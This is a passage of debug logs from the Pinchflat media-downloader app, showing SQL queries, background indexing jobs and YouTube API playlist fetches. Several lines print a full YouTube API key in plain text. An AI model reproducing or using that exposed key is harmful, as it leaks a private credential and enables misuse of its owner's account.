m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:12.494 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:12.494 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:12.494 [debug] Fetching recent media IDs from YouTube API for playlist: UUgzg_f5HC6EnY-9q5Px1Q-g 17:37:12.494 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:12.494 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 17:37:12.494 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:12.494 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:12.494 [debug] QUERY OK source="settings" db=0.2ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:12.494 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:12.652 [debug] QUERY OK source="media_items" db=0.5ms idle=157.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [24, "EqcdcLKC5bE", "XWN9YMVaTio", "0ff4TbRMPcE", "lr65O1qIhT4", "lQPuHoc-93U", "8jv8nOKR_Ck", "8lzNViKW9F8", "r2GTUZ2zQSE", "Ki7sgG5i5P0", "dI43FJGa52A", "Tb0Z5jKFrKA", "A1QzVQn8hH8", "lWvIsb06YYg", "rLmO075A07c", "uPvdvnz9rLc", "IBk-Nh0VRy0", "IclNtwcicpc", "emMmkd-o2-o", "o3CQZ4JmTU8", "p6Q9chqIwyg", "0voL1hfm3e4", "HCQGhsHO1nM", "6xs7fjbo2NM", "yCdY2eeT8fQ", "faSZB8yewoU", "otxMmPttGp4", "7pysYXsQ8Ps", "QJtdNwlYFDM", "iBclMIJgm7k", "UI4lFdFfOFI", "apGupfbctgs", "qhRfchtbX-0", "73Vhinj4iEI", "M6o0F4zC8Ps", "NrQ0BAnY8sk", "y7WdMKmMR5Y", "J0z4YoAcmKI", "6eSG5JLP0-g", "AvswAhGn_PU", "4FFIce1pjH0", "yOM58cUfPhs", "gTT34dgyJfA", "hZJe5fqUbQA", "RNGpdA2TR1M", "PmIe2ZOPcA0", "zImBY_tGMIU", "1VUhrRFTY_0", "QJDpwY5MGjs", "xYFjwbtJs7U", ...] 17:37:12.652 [debug] QUERY OK source="media_items" db=0.1ms idle=158.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [24] 17:37:12.653 [debug] QUERY OK source="tasks" db=0.1ms idle=158.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800251, 24, ~U[2026-02-10 23:37:12Z], ~U[2026-02-10 23:37:12Z]] 17:37:12.653 [info] {"args":{"id":24},"id":3800212,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":160871,"event":"job:stop","queue_time":531866,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:12.757 [debug] QUERY OK source="media_items" db=0.9ms idle=103.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", "33Ur3hu8a6c", "6kGBOMlXkkA", "op_mXNwUcwY", "2chMcaJPJW0", "3rVVYrja1Vw", "gCPfw2SilN4", "VNtW1fQ6EuU", "pXtgLb_sshk", "hAUXFfoCTyI", "Zcpd7Vyf4IU", "dRdYKu4I_ug", "cuKH5srkMho", "BIginPllRjc", "0RzUBqtgODM", "OZRG7Og61mw", "Ejl-7X74tgc", "os_fHy1mB_M", "qtDhWmsunBo", "7aQZzcEWKRk", "zI6ZQls54Ms", "6X0g5M-khKU", "-8k7jTF_JCg", "T8wDRU6u8h0", "QwpTAk_IiyU", "6yyMjLmVl_o", "mXRd0KTKmPU", "VlT2fM2wfkw", "JJRdUelpO7M", "6UPn6rtZ19M", "gZs97pRqpRw", "GYJt4ESv85U", "U0uC9ybxEAM", "-SKG5OkBCjI", "nYtdWS-0OOE", "NRt8cfts_T8", "7ELwpQnk_5A", "89l-XhVKLcY", "zNlqUHQF0_A", "vHR2Ri5gLMA", "rD0BXs8IOSU", "7td4By-rj_w", "Gm_JZRdtQ2Q", "GbOzaYU694U", "dUGtGZO_54M", "9X3f-VGBOfM", ...] 17:37:12.758 [debug] QUERY OK source="media_items" db=0.5ms idle=104.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 17:37:12.759 [debug] QUERY OK source="tasks" db=0.1ms idle=100.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800252, 4, ~U[2026-02-10 23:37:12Z], ~U[2026-02-10 23:37:12Z]] 17:37:12.760 [info] {"args":{"id":4},"id":3800213,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":267167,"event":"job:stop","queue_time":381494,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:13.493 [info] {"args":{"id":26},"id":3800214,"meta":{},"system_time":1770766633493722862,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:13.494 [debug] QUERY OK source="sources" db=0.1ms idle=733.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [26] 17:37:13.494 [debug] QUERY OK source="settings" db=0.0ms idle=733.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:13.494 [debug] QUERY OK source="media_profiles" db=0.1ms idle=727.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:13.494 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:13.494 [debug] Fetching recent media IDs from YouTube API for playlist: UUK_8UoKJNYcQE9OdW5v-Ueg 17:37:13.494 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:13.494 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:13.645 [debug] QUERY OK source="media_items" db=0.7ms idle=150.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [26, "VdWHQYgG_jo", "6LzK3lEKkGE", "JJ_mw6lB3JU", "ZcmJFcMBm9w", "dlFQrYB5wKw", "nPbCi4t4NkA", "8asBU46CygQ", "yQArIsKTw5U", "1x2IhzNuxm4", "nxjWJIgvoOQ", "nlgL1IJXtoU", "lxxWezu1R48", "cQAPX3Qmbbw", "Qx4mqyQgZRE", "A8UXgQagHGE", "-XokzL0OQu0", "1hNouH7bBf4", "qZKBr-uzWXE", "tCG0_ctAGuw", "dJpTLJa07R0", "06xaEhog2jc", "xCly46rmt_E", "fgvCSP_Uieo", "Y-Glc4AfUu8", "WhrVgN8MHvE", "wdeJMY-yjxY", "ewCRfp9isyQ", "TC69Hts9xUw", "QD10PkEFM8w", "EDTL7eqicgk", "TN9ynzCtxH0", "PIm8vxiuo80", "d5wK7sqUPME", "g52_h5ba7AI", "eCXvteo9yPM", "LffHwB95-nc", "d5EbHE-E_30", "ISfcCtkM9Eg", "waruccu-7dk", "rp5VlotPNVY", "rfDYEpo49MM", "u7g9F323AaU", "oLw4zWP1x5g", "WWUoR1s8tqY", "1yRMUHRkPmg", "8o1haKR8l3U", "10e4_tNBP6M", "vnnhy_10FBA", "GQrTQ862rvU", ...] 17:37:13.646 [debug] QUERY OK source="media_items" db=0.5ms idle=151.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [26] 17:37:13.647 [debug] QUERY OK source="tasks" db=0.1ms idle=152.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800253, 26, ~U[2026-02-10 23:37:13Z], ~U[2026-02-10 23:37:13Z]] 17:37:13.647 [info] {"args":{"id":26},"id":3800214,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":153691,"event":"job:stop","queue_time":412292,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:14.495 [info] {"args":{"id":18},"id":3800215,"meta":{},"system_time":1770766634495745548,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:14.495 [info] {"args":{"id":39},"id":3800216,"meta":{},"system_time":1770766634495781383,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:14.496 [debug] QUERY OK source="sources" db=0.2ms idle=848.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [18] 17:37:14.496 [debug] QUERY OK source="sources" db=0.5ms idle=848.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 17:37:14.496 [debug] QUERY OK source="settings" db=0.3ms idle=842.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:14.496 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:14.496 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:14.496 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:14.497 [debug] QUERY OK source="settings" db=0.0ms queue=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:14.497 [debug] Fetching recent media IDs from YouTube API for playlist: UUQ5w3fSomzziZfO7neK7eAg 17:37:14.497 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:14.497 [debug] Fetching recent media IDs from YouTube API for playlist: UUEbFX3P9ADiJvle5Z0Qyw2A 17:37:14.497 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:14.497 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:14.497 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:14.497 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:14.703 [debug] QUERY OK source="media_items" db=0.6ms idle=206.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", "jTWFMDJ7DrI", "6U5VizZp2mM", "6CmauK9WXDI", "wgXSw9BpnpU", "i07HAgTz45c", "xM9S3yBulYw", "4Bm5-NIl_RA", "HthaE0RZOck", "kHXxl9yqdbE", "D4ozSz8ab_E", "JvrGuAU-eQ4", "4Nr6hiHbgAw", "EKRoREgXcaQ", "mzTwPwIQENg", "fc3rJ0sJsbI", "j5J9rO_2xsY", "dMCQgYjSoSw", "itGzr7HZl9I", "-anIMIYnyjc", "kPGIGgFI3_E", "5q_lWJSquoc", "Pukp9nKozE8", "sPDYpIlReGY", "LEyq9a84wuU", "ez1buVmEKLU", "Zy_i-7hOQ_c", "yipidSya0Gc", "XiHlv0w2zMo", "cYIiWIJ07co", "_uh9kNqfJzY", "IaadHU9ku_k", "qqcbiTuW6dw", "rsIwHYDhr8M", "5o-L5_zpUc4", "6WiVRluXP80", "qGc2FEC3Htw", "q2pmhQoEGIw", "1J4rDpbqXG8", "9H-9_FLOs7w", "84Bep8MqnRs", "tJvqC1EhOrY", "Rlec9tt_xDA", "PRVOTbvtqwE", "gN7dibXWGlM", ...] 17:37:14.704 [debug] QUERY OK source="media_items" db=0.6ms idle=207.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 17:37:14.705 [debug] QUERY OK source="tasks" db=0.1ms idle=208.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800254, 18, ~U[2026-02-10 23:37:14Z], ~U[2026-02-10 23:37:14Z]] 17:37:14.705 [info] 